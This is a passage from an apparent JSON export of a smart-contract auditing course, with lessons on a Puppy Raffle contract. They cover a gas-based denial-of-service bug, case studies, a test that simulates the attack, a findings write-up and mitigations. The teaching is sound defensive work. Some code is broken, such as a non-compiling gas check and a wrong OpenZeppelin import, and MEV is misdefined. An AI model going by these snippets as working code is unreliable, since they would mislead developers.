Developer, such states are pretty palpable.\n\n### Navigating Around Codebase with Keyboard Shortcuts\n\nQuick tip for Mac users to zip through the codebase. Using the keyboard shortcuts come really handy in swiftly moving forward and backward through the code-files.\n\nFor instance, click `entrance_fee`, scroll down, click something else, and then hit `CTRL -`. This combo works like 'The Back Button' - bobbing you right back to your last cursor location.\n\n- `CTRL -` = Go Back\n- `CTRL+Shift -` = Go Forward\n\nThese shortcuts dramatically speed up your code navigation, making life a bit easier. Various text editors like Vim, VI or Emacs offer great support for such keyboard shortcuts.\n\nThis quick skim up until here should arm you with some pointers when embarking on a code audit or simply understanding a new codebase. In our next session, I'll delve into more details about the `enterRaffle` function, but until then, Happy Coding!\n\n```markdown\n> \"When in doubt, break things down!\"> - Your tactical guide to navigating complex codebases.\n```\n", + "updates": [] + }, + { + "id": "4cbdd7b4-0509-4c40-9950-63db5206f49b", + "number": 9, + "title": "Recon: Reading docs II", + "slug": "recon-reading-docs-continued", + "folderName": "9-recon-reading-docs-continued", + "description": "", + "duration": 3, + "videoUrl": "eLecAxF3NzU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/9-recon-reading-docs-continued/+page.md", + "markdownContent": "---\ntitle: Recon - Reading Docs Continued\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unravelling Solidity 0.7.6: Custom Reverts, Entrance Fees, and Subtle Bugs\n\nIn this deep dive, we're going to get our hands dirty with the old-but-gold version of Solidity—0.7.6. We'll explore a few nifty tricks, highlight some potential pitfalls, and wrap things up by identifying a rare bug hidden in the code.\n\n![](https://cdn.videotap.com/iyVJ7Q1TioFr0xBkwxjL-5.17.png)## Understanding Reverts in Solidity 0.7.6\n\nYou may be familiar with the newer versions of Solidity that come with custom reverts—a feature that wasn't evidently available when Solidity 0.7.6 was launched. A common question that arises is:\n\n> Were custom reverts available in Solidity 0.7.6?\n\nLet's take a look at some of the code.\n\n```js\nrequire(message.value == entranceFee * newPlayers.length);\n```\n\n## Entrance Fee Calculation\n\nThe code above shows the `require()` function ensuring the `message.value` is equal to the `entranceFee` multiplied by the number of `newPlayers`. This essentially means that the entrance fee gets scaled according to the number of players. If there are no players (`newPlayers.length == 0`), then the total cost is also zero. A possible query at this point could be:\n\n> What if `newPlayers.length == 0`? What can possibly happen then?\n\nNow, if 10 players are added, the total cost will be whatever the `entranceFee` is, times ten. It's noteworthy that the `entranceFee` is set to be `immutable` and its value is assigned in the constructor.\n\n## Handling Player Arrays\n\nAs the code continues, it performs some functions on an array of players.\n\n```js\nfor (uint i = 0; i < newPlayers.length; i++) {players.push(newPlayers[i]);}\n```\n\nThe code loops through the `newPlayers` array and pushes each player onto another array—`players`. This `players` array is a main storage variable where the raffle stores information about all participating players.\n\n## Identifying Duplicate Players\n\nNow, let's turn our attention to how the code handles duplication.\n\n```js\nfor (uint i = 0; i < players.length; i++) {for (uint j = i + 1; j < players.length; j++) {if (players[i] == players[j]) {emit DuplicatePlayer(players[i]);}}}\n```\n\nTo check for any duplicate players, the code loops through the `players` array...twice! It's essentially checking every player against each other for duplication. Once a duplication is found, an event is emitted to notify of the duplicate entry.\n\n## The Hidden Bug\n\nAs experienced coders navigating through numerous code bases, one develops an innate ability to \"smell\" bugs or potential issues. In this case, if your senses are tingling, they're onto something!\n\n```js\nfor (uint i = 0; i < players.length; i++) {for (uint j = i + 1; j < players.length; j++) {/*code here*/}}\n```\n\nThe suspicious concern here is the double looping mechanism this block of code is following. Double loops in Solidity can be incredibly gas-expensive, and that's indeed a red flag. Seeing this practice should usually serve as an indication of a potential bug.\n\nWait a moment...there _is_ a bug in the code!\n\nBut what could that be? A double loop isn't exclusively a coding faux pas. However, if it's harboring and obfuscating a bug inside, that's when things get sinister. Can you figure out what exactly that bug is?\n", + "updates": [] + }, + { + "id": "c05360dd-ce70-4852-ac01-d7f15c9d2f44", + "number": 10, + "title": "sc-exploits-minimized", + "slug": "sc-exploits-minimized", + "folderName": "10-sc-exploits-minimized", + "description": "", + "duration": 1, + "videoUrl": "dxSZndn5DLY", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/10-sc-exploits-minimized/+page.md", + "markdownContent": "---\ntitle: sc-exploits-minimized\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unearthing a Denial of Service (DoS) Bug\n\nIf you have a keen interest in cybersecurity, cryptography, or perhaps dabble a bit in code, then you're in for a thrilling and insightful read! Today, let's talk about a particular bug type known as the _Denial of Service (DoS)_ bug – we shall delve into it and explore its inner workings using a minimized example from the Cyfrin Security and Auditing Full Course GitHub repo.\n\n![](https://cdn.videotap.com/0RDNeBw8jICr19QclxVo-9.92.png)## A Milestone: Discovering our First Bug\n\nExcitingly, this DoS is the first bug we've identified. To provide a detailed understanding of this, we'll be looking at a more simplified variation of this bug.\n\nTo get started, go to the \\[_Cyfrin Security and Auditing Full Course GitHub repo_\\](https://github.com/Cyfrin/security-and-auditing-full-course-s23) (you might want to zoom out a bit for an easier view). Scroll back to the top, then navigate to 'welcome to the course'. In this section, you’ll find resources for the course - scroll down to the 'resources' section.\n\n![](https://cdn.videotap.com/vj0NLA9BWMOiVDvYZo0p-29.75.png)From here, you can access an informative page chock-full of 'exploit resources', particularly if you click on _sc-exploit-minimized_.\n\n## Utilizing the 'sc-exploit-minimized' Repository\n\nOn accessing the _sc-exploit-minimized_ repository, you find yourself in an informative hub brimming with simplified examples of the bugs we're covering. It provides a great chance for you to study and practice them. Additionally, example contracts are made available on [Remix](https://remix.ethereum.org/), a powerful open source tool that helps you write smart contracts in Solidity.\n\n![](https://cdn.videotap.com/rsCebPuyEmgS3Hkm0UQ9-49.58.png)At the bottom of the _sc-exploit-minimized_ repository, you have buttons you can click on to access these example contracts on Remix, and experiment with them. You can also find _Capture The Flag_ challenges that allow you to practice bug identification in realistic scenarios within games like _Damn Vulnerable DeFi_ and _Ethernaut_, among others.\n\n```markdown\n> **NOTE**> Remember, practicing with actual examples in real-time simulations is crucial to mastering the bug identification process.\n```\n\n## A More Detailed Look at the Denial of Service Bug\n\nTo further analyze this DoS bug, navigate to the SRC folder. It holds various other bugs we'll cover in future posts. For now, delve into the Denial of Service folder (Dos) for a minimalist illustration of a DoS bug.\n\nOnce inside, scroll down until you find 'Denial of Service'. Here, click on the Remix button that will direct you to the Remix IDE which comes preloaded with the code base we'll be working with in this blog.\n\n![](https://cdn.videotap.com/Rfdo8u2omH90wiKb0Ix1-89.25.png)If this redirect fails, simply open 'SRC Denialofservice Dos Sol' manually and copy-paste the code into Remix. Voila! You're all set to delve into our first bug – the Denial of Service bug!\n\n```markdown\n> **PRO TIP**> For experiencing code in a hands-on way, using a versatile platform like Remix can be incredibly beneficial. It's like being in a virtual lab where you can manipulate code, learn, and grow.\n```\n\nStay on this journey as we continue to uncover and understand more cybersecurity and cryptographic bugs!\n", + "updates": [] + }, + { + "id": "22735d90-b37e-49c8-9c29-5267ddbf07fa", + "number": 11, + "title": "Exploit: Denial of service", + "slug": "exploit-denial-of-service", + "folderName": "11-exploit-denial-of-service", + "description": "", + "duration": 7, + "videoUrl": "ylkWB3vnruo", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/11-exploit-denial-of-service/+page.md", + "markdownContent": "---\ntitle: Exploit - Denial of Service (DoS)\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Understanding Denial of Service Attacks in Smart Contracts\n\nIn this blog post, we will be discussing an important cybersecurity issue in the world of blockchain - the Denial of Service (DoS) attack. More specifically, we'll learn how this attack relates to and affects smart contracts.\n\n## What is a Denial of Service Attack?\n\nDenial of Service attacks target computer networks and systems, often overloading them with unnecessary requests to cause a disruption in the service provided. In the context of smart contracts built on blockchain networks, a Denial of Service attack can significantly impede its functionality by making it gas-intensive and, therefore, expensive to use.\n\n## The Attack Strategy: A Basic Overview\n\nLet's understand this with concept with a minimalist Ethereum smart contract that we'll call `Dos`.\n\nHere is an outline of how this contract functions:\n\n1. We have an `address[]` array named `entrance` that stores the addresses that interact with the contract.\n2. There is a function named `enter` that allows an address to enter into the `entrance` array.\n\n ```javascript\n function enter() public {...}\n ```\n\n3. Inside this function, the contract checks the `entrance` array for duplicates of the address attempting to enter. If no duplicate is found, the address is then pushed into the `entrance` array.\n\nThe more addresses are added into the array, more looping will be required for the duplication check, increasing the gas costs exponentially.\n\n## Avalanche Effect and DoS\n\nTo understand how this causes DoS, let's consider a case where the `entrance` array is currently empty. In this scenario, the `enter` function doesn't have to make a single loop, and the incoming address is pushed into the array without any hassle.\n\nHowever, the situation drastically changes when multiple addresses (let's say 10) are already in the array. Now, the `enter` function will loop through these 10 addresses before adding any new ones. Now let's say there are 100 addresses. The loop now has to go through all these addresses, and the resulting gas costs shoot up drastically.\n\nThis is the avalanche effect, and it is this accumulation of gas costs that makes a smart contract susceptible to a DoS attack. A malicious actor can blast the `enter` function with loads of calls, inserting numerous addresses onto the `entrance` array. This would render the contract unusable due to the incredibly high gas fees required to interact with it.\n\n![](https://cdn.videotap.com/3iSoxXBYl3uLnVWzprD8-208.76.png)## Seeing the Attack in Action\n\nLet's simulate this DoS exploit.\n\nWe compile and deploy our `Dos` contract. We then use a test account to call the `enter` function. For every call, we examine the gas fees involved:\n\n- The first call to the `enter` function consumes relatively minimal gas.\n- As we make additional calls with more test accounts, we see the gas consumption increasing.\n\nBy running the `enter` function enough times and overloading the `entrance` array, the exploit becomes clearer. The contract becomes so costly to interact with that you would need to spend an exorbitant amount of Ether, making the contract essentially unusable. This is the essence of a smart contract DoS attack.\n\n## Testing the Attack and Mitigation\n\nA good way to educate yourself further on DoS attacks is by creating test scenarios, simulating the attack, and experimenting with potential solutions.\n\n```javascript\nfunction testDosAttack() public {\n Dos dos = new Dos();\n address dummyAddress = address(1);\n\n for(uint256 i=0; i<1000; i++){\n dummyAddress = address(uint(dummyAddress) + 1);\n dos.enter(dummyAddress);\n }\n uint gasCost = dos.enter(dummyAddress).gas;\n assert.greaterThan(gasCost, expectedGasCost, \"DoS attack simulation failed\");\n }\n```\n\nThis simple test creates a new instance of the `Dos` contract, and then inserts 1000 addresses into the `entrance` array by calling `enter(address)`. It then calculates the gas cost for the 1001st transaction and asserts if this cost is higher than an expected standard cost.\n\nThis way, you can observe how drastically the gas costs have increased due to the DoS attack.\n\n## Final Thoughts\n\nDenial-of-service attacks are a persistent security concern for smart contracts. As active participants or enthusiasts in the blockchain and smart contract community, understanding these vulnerabilities and exploring potential solutions is vital.\n\n> “Knowledge is power. Information is liberating. Education is the premise of progress, in every society, in every family.” - Kofi Annan\n\nFeel free to clone the SC exploits repository and run the `Dos` contract and attack simulations yourself.\n\nIn the end, make your contracts robust, keeping possible attack vectors in mind, ensure you’ve done thorough testing before deploying, and most importantly, stay informed!\n", + "updates": [] + }, + { + "id": "f92b18c6-4e62-46f7-82d8-5b3c43e6e24d", + "number": 12, + "title": "Case Study: DoS", + "slug": "dos-case-study", + "folderName": "12-dos-case-study", + "description": "", + "duration": 21, + "videoUrl": "vdmyrRdE8Xw", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/12-dos-case-study/+page.md", + "markdownContent": "---\ntitle: DoS - Case Study\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Understanding Denial of Service (DoS) Attacks in the Wild of Security Protocols\n\nDenial of Service (DoS) attacks presents a legitimate issue that often victimizes numerous security protocols. In this blog post, we delve into two different kinds of **Denial of Service Attacks** or simply **DoS attacks** as they materialize from real security reviews of real protocols. Owen, the founder of Guardian Audits, will share insights from his work, showing us how these vulnerabilities arise and the best frameworks to uncover them.\n\n## Who's Talking?\n\nA brief intro for context: my name is Owen, and about two years ago, I founded Guardian Audits. Since then, our team has carried out scores of security reviews, with hundreds of smart contracts undergoing scrutiny for these audits. Over this period, we have unearthed well over 100 high-impact bugs and vulnerabilities in DeFi smart contract systems. We’ll be unpacking some of our findings related to DoS attacks and their ramifications.\n\nThe ultimate goal is to equip you with the knowledge and tools you need to sidestep these potholes in your own security evaluations or when writing your solidity code, whether you're conducting a contest, private security review, or just a protocol developer interested in security.\n\n## Case Study 1: DoS Vulnerabilities in the Bridges Exchange\n\nThe first DoS vulnerability we'll touch on is found in the dividends distribution system of the Bridges exchange.\n\n### Attack Mechanics\n\nThe issue arises from an unbounded for loop in the `distributeDividends` function, resulting in the risk of a DoS attack. An ill-intentioned party can cause the distribute dividends function to violate the block gas limit, effectively blocking all dividends by continually generating new addresses and minting minimal quantities of the Bridges pair token.\n\nThe `distributeDividends` function can be found in the Bridges pair contract under line 221. As its name suggests, an unbounded for loop allows for indefinite iterations of this for-loop. If there are sufficient iterations, the gas used will exceed what can be executed within the block gas limit, making it impossible to execute the transaction that distributes dividends.\n\n### Confirming the 'Unbounded' For Loop\n\nTo confirm that this users' list is, indeed, unbounded, we should inspect all instances where the users' list is used. If you examine the `mint` function, there are no constraints. The only prerequisite is that the balance of two is zero – a situation that an attacker can easily configure. This allows an attacker to call the `mint` function several times from different addresses, adding multiple different addresses to this list, ultimately making the list too long to iterate over.\n\n### Mitigation and Remediation\n\nIn such a case, executing the distribute dividends function exceeds the block gas limit, freezing the functionality of dividend distribution - classic DoS. The best way to rectify this vulnerability is to revamp the approach or design of distributing dividends. For example, the Bridges team migrated to a dividends-per-share model, simplifying the process and circumventing the issue.\n\n## Case Study 2: Dos Attack in GMX V2 System\n\nThe second instance of a DoS attack shows up in the GMX V2 system and is entirely different than the Bridges case mentioned above.\n\n### Attack Mechanics\n\nThe problem arises from a boolean indicator called `shouldUnwrapNativeToken`. This flag can be leveraged to set up positions that can't be reduced by liquidations or ADL orders. When the native token unwraps (with the flag set to true), a position can be formed by a contract that can't receive the native token. This leads to order execution reverting, causing a crucial function of the protocol to become unexecutable.\n\n### Understanding the Flow\n\nIn order to comprehend this, consider the `decreaseOrderutils processOrder` function. This function is responsible for executing liquidations, a process that needs to proceed in order for the protocol to operate flawlessly. If we trace logic flow through the function, it eventually calls the `transferOut` function, which in turn can lead to the `transferOutNativeToken` function if the token to transfer out is the wrapped native token.\n\nThis function then calls the `withdrawAndSendNativeToken` function, leading down a rabbit hole of functions until we reach the `transferNativeToken` function. If successful, the native tokens are successfully transferred. However, if this external call fails due to the receiver contract being unable to accept the ether, the result is an error called `nativeTokenTransferError`.\n\n### Cases Leading to Failure\n\nThere are other conditions that could result in failure, triggering this error and causing a Dos attack. These could include:\n\n- The receiver is a contract that can't accept ether;\n- The receiver contract requires more gas than the gas limit to execute its function;\n- The receiver contract maliciously reverts on purpose.\n\nTo mitigate this type of Dos attack, the GMX team could specify the `shouldUnwrapNativeToken` to false so that transfers happen using wrapped ERC20 tokens which do not risk calling third-party addresses. Alternatively, they could rewrap the token and send it back in the event of failed transfer, an approach that they eventually adopted.\n\n## Unmasking Denial of Service Attacks\n\nTo wind up, here are a couple of frameworks to help uncover these DoS attacks when navigating through a code base:\n\n1. **For-Loops**: Take extra caution with for-loops. Ask yourself these questions:\n - Is the iterable entity bounded by size?\n - Can a user append arbitrary items to the list?\n - How much does it cost the user to do so?\n2. **External calls**: These can be anything from transferring ether to calling a third-party contract. Evaluate ways these external calls could fail, leading to an incomplete transaction.\n\nDoS attacks can arise from multiple sources and don't boil down to a single root cause. Whether it's caused by an external call failure or an unbounded for-loop, the end result is that a transaction is prevented from being executed when it is essential.\n\nIt is the hope that these frameworks serve you well in future security reviews or development endeavors.\n", + "updates": [] + }, + { + "id": "89c740dd-2506-4ce9-87a8-41f58e0a1076", + "number": 13, + "title": "DoS PoC", + "slug": "dos-poc", + "folderName": "13-dos-poc", + "description": "", + "duration": 8, + "videoUrl": "Tv7RrCcIZo0", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/13-dos-poc/+page.md", + "markdownContent": "---\ntitle: DoS - PoC (Proof of Code)\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Uncovering a Denial of Service Vulnerability in a Puppy Raffle Smart Contract\n\nIn our journey exploring the fascinating world of decentralized applications and smart contracts, we stumbled upon a potential vulnerability in a puppy raffle smart contract. What's exciting today is that we suspect this vulnerability could be a denial of service warning - a significant cybersecurity threat.\n\nBefore we dive into the fascinating journey of how we exposed this issue, don't forget how important auditing is in the world of blockchain technology and smart contracts. Only thorough auditing can assure that a contract is bug-free and secure.\n\n## The Suspicion\n\nLet's head back to our `PuppyRaffle.sol` contract. On observing it, we started suspecting a potential 'Denial of Service (DOS)' issue. We wanted to confirm it though and prove its potential effect. Time to put on our programmer hats and delve into some code.\n\n## Writing the Proof of Code\n\nHow do we confirm our suspicion? That's right, by writing a 'proof of code'. But first, we need a testing suite. Let's try using Forge Test:\n\n```bash\nforge test\n```\n\nThankfully, the test suite works perfectly, meaning we can use it for our audit. We opened up the `puppyRaffle.t.sol` to see what's in there.\n\nHere's a challenge for you, reader, to try writing the proof of code before scrolling further down. Go ahead and pause here, take some time and challenge yourself.\n\n## Time to Prove It!\n\nAlright, now that we have the test suite we can start building our DOS test. For those who carried out the challenge - well-done! For those who haven't, let's carry on together.\n\nThe path we'll take is to repurpose the `test_can_enter_raffle` function for our audit. Something like this:\n\n```javascript\ntest_denial_of_service(){...}\n```\n\nWe start by commenting out the earlier content to serve as a reference. Let's look into the proof in detail.\n\n### Creating Fake Players\n\nFirstly, we enter 100 players into the raffle using addresses that we generate in a loop, like this:\n\n```javascript\nuint256 players_num = 100;\naddress[] memory players = new address[](players_num);\nfor(uint256 i = 0; i Remember, the code we write today could be at the core of tomorrow's financial world.\n\nStay tuned for more behind-the-scenes looks into other smart contracts and their potential mischievousness. Happy coding!\n", + "updates": [] + }, + { + "id": "3eda855d-5826-4449-aeea-cd481090ba34", + "number": 14, + "title": "DoS: Reporting", + "slug": "dos-reporting", + "folderName": "14-dos-reporting", + "description": "", + "duration": 8, + "videoUrl": "GP4Fto4u5dQ", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/14-dos-reporting/+page.md", + "markdownContent": "---\ntitle: DoS - Reporting\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Unpacking a Denial of Service Attack: A Practical Look into Security Writeups\n\n![](https://cdn.videotap.com/Dj7HsLraeSv2ZrJ1t1L1-10.38.png)Today we delve deep into the inner workings of a Denial of Service (DoS) attack - a prevalent cybersecurity threat that we might stumble upon in the realm of software auditing.\n\n## Step One: Set the Stage - Create a New File\n\nWe'll begin our journey by creating a new file, which we'll optimistically name `findings.md`. The purpose of this file is fairly simple - it serves as the canvas where we'll write up our findings. We encapsulate our journey of discovery and understanding into this space, shedding ample light on the severity and various aspects of the underlying issue.\n\n## Giving Feet to the Ghost: Identifying the Root Cause\n\nAs the saying goes, a problem well stated is a problem half solved. It is crucial to nail down the root cause of the issue before moving forward. Our root cause for the DoS attack turns out to be a piece of code in `PuppyRaffle` which loops through the players array to check for duplicates.\n\n```javascript\n// Pseudocode for the root cause\nfunction loopThroughPlayersArray(playersArray) {\n for (let i = 0; i < playersArray.length; i++) {\n /*Check for duplicates*/\n }\n}\n```\n\n## Estimating the Impact\n\nTo comprehend the severity of the DoS attack, we need to dissect its impact - the higher the impact, the more destructive our DoS attack.\n\nThe looping mechanism in `PuppyRaffle` causes a rise in gas costs for every additional player entering the raffle due to the added overhead of checking for duplicates. Consequently, our system becomes increasingly costly to use. We might debate over the severity - is it medium or high, but considering the additional gas users would have to spend and the resultant inconvenience it could cause, we'll settle for a medium severity rating.\n\n## Drill Down into Details: Write Up a Description\n\nAt this point, let's delve deep into our DoS finding and write a meticulous and articulate description.\n\n```markdown\n## Description: The 'enterRaffle' function loops through the players array to check for duplicates. As the length of the 'players' array increases, the gas costs and the number of checks a new player must carryout also increase. This issue has the potential to deter players that enter later due to the remarkably higher gas costs.\n```\n\n## Light upon the Impact\n\nNow it's time to put the spotlight on the impact of this issue. The intensifying gas costs as more players enter the queue make it a less attractive proposition for potential players. Coupling this with the possibility of a rogue player filling up the raffle to guarantee a win makes for a pretty daunting scenario.\n\n```markdown\n## Impact: The skyrocketing costs for users entering the raffle at a later stage could deter participation. Furthermore, an attacker with large enough resources could monopolize the system, crowding out other potential participants.\n```\n\n## Unveiling the Proof of Concept\n\nTo demonstrate the vulnerability at hand, we could showcase the escalating gas costs with a simple comparison - taking two sets of 100 players each and observing the gas charges. Our projected surge in costs could look something like this:\n\n```markdown\n## Proof of Concept:\n\n1st set of 100 players: ~70,000 gas\n2nd set of 100 players: ~210,000 gas\nNote: The second set of players face a gas cost more than 3 times that of the initial set.\n```\n\n## Forge a Solution: Propose a Mitigation\n\nNow that we've gathered knowledge about our vulnerability, it's time to suggest a viable solution. In our case, a possible mitigation could be altering the check for duplicate players. We'd replace the existing iteration-based solution with a more gas-efficient method like using a mapping system.\n\n```markdown\n## Mitigation: We recommend altering the manner in which duplicate players are checked – switching from an iteration-based system to a mapping-based system – which would be a far more gas-efficient solution.\n```\n\nNo vulnerabilities are impenetrable. With adequate knowledge and an apt comprehension of the system, we can certainly transform the most complex of vulnerabilities into well-understood and manageable problems.\n", + "updates": [] + }, + { + "id": "48c3d22f-6318-47cb-8781-f8d732186cd4", + "number": 15, + "title": "DoS: Mitigation", + "slug": "dos-mitigation", + "folderName": "15-dos-mitigation", + "description": "", + "duration": 3, + "videoUrl": "NpCFoZeXp8E", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/15-dos-mitigation/+page.md", + "markdownContent": "---\ntitle: DoS - Mitigation\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Strategies to Mitigate Duplicate Entries in Smart Contract Code\n\nIn the world of smart contracts and their associated applications, security is a pivotal asset. One primary issue often encountered is the challenge of dealing with duplicates. The system needs to acknowledge these duplicates without compromising its original function. So, how do we achieve this functionality while also mitigating potential risks?\n\n## 1. Keeping the Original Functionality\n\nIndeed, the easiest action we might suggest is to stop checking for duplicate entries altogether. However, our mission is to preserve the original functionality as much as possible, so let's dissect some potential solutions with that mind.\n\n> **NOTE:** Remember, in suggesting these solutions, our ultimate goal is not to change the original functionality, but to enhance it for improved performance and security.\n\n### A. Consider Allowing Duplicates\n\nFirstly, let's consider the option of allowing duplicates. In altering the protocol's original functionality, there needs to be a solid foundation that supports this decision. So, why might we actually benefit from permitting duplicates? Here's the argument:\n\nUsers, if they want, can create new wallet addresses at will. In light of this, checking for duplicates does little to prevent the same user from entering multiple times, as it only prevents the same wallet address's multiple entries.\n\n![](https://cdn.videotap.com/U40Y4UOf96RccTmlPQua-31.96.png)### B. Using a Mapping for Duplicate Checks\n\nIf the creators of the protocol insist on maintaining the check for duplicates, we suggest using a mapping to do this check. This strategy would grant constant time lookups to ascertain whether a user has already entered or not. Let's take a look at how we could change the existing code to implement this functionality:\n\nOriginal Code:\n\n```js\nfor (let i = 0; i < player.length; i++) {\n if (player[i] == _address) return true;\n}\n```\n\nSome Modification:\n\n```js\nmapping(address => bool) entered;\nif (entered[_address])return true;\n```\n\nWith this mapping in place, the smart contract instantly reviews duplicates from only new players instead of traversing the whole array of players, thereby averting potential risks related to time complexity.\n\n![](https://cdn.videotap.com/jAgeqw0BOdnWiWPCG0Kn-86.28.png)### C. Leveraging OpenZeppelin's Enumerable Library\n\nHere's our last recommendation. An alternative technique could be to utilize OpenZeppelin's Enumerable library.\n\n```js\nimport \"@openzeppelin/contracts/access/Enumerable.sol\";\n\ncontract SomeContract {\n using Enumerable for Enumerable.Set;\n Enumerable.Set private players;\n // In some function…\n // if (players.contains(_address))return true;\n // players.add(_address);\n }\n```\n\nThis option might be a viable solution, improving both performance and security of the protocol.\n\n![](https://cdn.videotap.com/HGAjhb2SQjm8rllHFWci-140.61.png)## Next Steps\n\nWith all these in mind, we now have a template to approach duplicate checks in smart contract codes. Though incomplete, it provides several viable options for updating the code while remaining true to the original functionality.\n\nRegardless of whichever strategy you choose to mitigate this issue, ensure your chosen solution suits your unique smart contract needs. Remember to thoroughly review all proposed changes before implementation to ensure its robustness and security. This will help in maintaining the integrity of your contracts, and by extension, the entire protocol.\n", + "updates": [] + }, + { + "id": "0733bc61-511d-4f22-8773-3b4239943a85", + "number": 16, + "title": "Exploit: Business logic edge case", + "slug": "exploit-business-logic-edge-case", + "folderName": "16-exploit-business-logic-edge-case", + "description": "", + "duration": 3, + "videoUrl": "c_120vFf52A", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/16-exploit-business-logic-edge-case/+page.md", + "markdownContent": "---\ntitle: Exploit - Business Logic Edge Case\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# A Deep Dive Into the 'PuppyRaffle’ Contract\n\nHey there! Today, we'll unwrap the layers of the `PuppyRaffle` contract. We’ll conduct a detailed analysis identifying how the contract works, pinpointing possible issues and areas of concern, and discuss how we can improve it.\n\n## Understanding the Enter Raffle\n\nWe’ve found some interesting pieces of code that we think should be analyzed. The crucial operation, as it appears, revolves around the `players` array. The ‘Enter Raffle’ logic seems to store value in this array, and it gets updated with new entries – jot that down for a later review.\n\n![](https://cdn.videotap.com/UXaQJF1HNUDQ9qWrwwvD-21.57.png)As we go through this, we might have some questions. One in particular is: **\"What resets the `players` array?\"** – a point we’ll come back to later.\n\n## Examining the Refund Function\n\nThe next essential function we’re interested in is the `refund` function. According to the `README` file, this function allows users to claim a refund of their ticket value.\n\n![](https://cdn.videotap.com/pdFQ3caBtnyX6H3J3nNf-43.14.png)\n\n```js\nfunction refund(player_index){...}\n```\n\nThis function requires a `player_index`, obviously referring to the index of the player in the `players` array. The question then becomes, how do we obtain this index?\n\n## The GetActivePlayerIndex Function\n\nDelving into the contract, we find the answer in the `GetActivePlayerIndex` function:\n\n```js\nfunction getActivePlayerIndex(player_address){...}\n```\n\nThis function, given an address of a player, returns the corresponding index. Although it seems straightforward, there might be a potential flaw here, and this is where our Spidey-sense starts tingling.\n\n![](https://cdn.videotap.com/pqfJnRhCJl6hQKNlJck4-102.46.png)If a player is not present, this function defaults to returning zero. The issue, however, arises if there’s an active player at index zero.\n\n> **Possible Attack Vector:** If the player is at index zero, the system might mistake it as the player not being active!\n\nThis is absolutely a flaw that must be highlighted in our audit report.\n\nWe might just have discovered a significant bug affecting the `GetActivePlayerIndex` function. Specific as it may be, this finding indicates the need for thorough analysis of any smart contract – regardless of its perceived simplicity.\n\nTo wrap this up, it’s clear that the `PuppyRaffle` contract, just like any smart contract, harbors its own unique intricacies and possible vulnerabilities. With a methodical approach, we can uncover these issues, ask the right questions, and improve the system's overall quality and security.\n\nThank you for following along this deep-dive. Stay tuned for further examinations as we continue to unmask more bugs and features in future posts.\n", + "updates": [] + }, + { + "id": "a4298f9d-7469-40b4-864d-437f10d6bbf4", + "number": 17, + "title": "Recon: Refund", + "slug": "recon-refund", + "folderName": "17-recon-refund", + "description": "", + "duration": 3, + "videoUrl": "sci43xJcAhA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/17-recon-refund/+page.md", + "markdownContent": "---\ntitle: Recon - Refund\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Understanding the Active Players Index: A Deeper Delve into Solidity Coding\n\nIn this post we go down the rabbit hole to understand the intricacies of handling arrays, managing edge cases, and safeguarding against vulnerabilities in Solidity, the contract-oriented language of Ethereum.\n\n## Getting Active Players Index\n\nLet's start with the function of `getActivePlayerIndex()`. This seemingly simple process has a twist to it - the function allows for blank spots within the array.\n\nWhile on surface this might not seem like an issue, there is a potential caveat. A pitfall known as Minor Extractable Value (MEV) presents itself when people try to \"front-run\" this function. For the novice, MEV refers to the ability of miners or validators to exploit their position for profit by reordering or censoring transactions within the blocks they produce. However, to keep things simplified, let's skip the MEV complexities in this explanation and imagine that the function works perfectly as expected without it.\n\n![](https://cdn.videotap.com/ROdzfVev0ULFYEDhkigd-14.19.png)\n\n## Tracing The Function\n\nStarting with the premise that our active players array works as desired, let's unravel the intricacies of this function. Here's an illustrative code for reference:\n\n```js\nfunction getActivePlayerIndex(uint playerIndex) public view returns (address) {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"Player mismatch!\");\n require(playerAddress != address(0), \"This player has either refunded or is not active\");\n return playerAddress;\n }\n```\n\nThe function begins by obtaining the player's address from the player index. This is pretty straightforward - click on a player, get their address.\n\nNext, it brings in two requisites for the player's address. These validation checks solidify the function's parameters:\n\n- `msg.sender` must be equal to the player's address. This check is in line with good security practices to ensure that only the owner of the account can initiate transactions.\n- The player's address should not return to `address(0)`. Essentially, this check protects the system from getting an address that has been removed or flagged as inactive.\n\nThese require statements guard the integrity of the function while preventing unauthorized access.\n\n## Dealing with Player Removal\n\nBut what happens to the player details post-removal? Digging deeper into the code, once the value transacts successfully, the function resets the player's address to zero - `address(0)`. This effectively cleans the slot for future use.\n\n> Note: Resetting to zero essentially deletes that player entry, signaling they're either refunded or not active.\n\n## Spotting the Send Value Function\n\nInterestingly, the process implies the use of a `sendValue` function. Now, this function plays a crucial role. It quite literally sends the entry fee back to the player. But is this `sendValue` essentially a built-in function or is there an external library managing this aspect?\n\nDelving further clarifies that this function sourced from OpenZeppelin, a library well-known for providing reusable smart contracts in the Ethereum community. Examining it shows a range of validation or 'require' conditions.\n\n```js\nfunction sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n```\n\nThe `sendValue` function is equivalent to essentially sending the entry fee back to the `msg.sender`.\n\n## Did You Spot the Glitch?\n\nHere's a scenario: everything seems to be flowing well, the MEV complexities were ignored as promised, and we got a little bit of help understanding what's going on. But amidst this, there seems to be one more issue... can you tell what it might be? Well, let's call this a cliffhanger, and explore the issue in the next blog entry. Until then, happy coding!\n", + "updates": [] + }, + { + "id": "8596fc74-6778-4b65-bc85-56bedf6e1808", + "number": 18, + "title": "Exploit: Reentrancy", + "slug": "exploit-reentrancy", + "folderName": 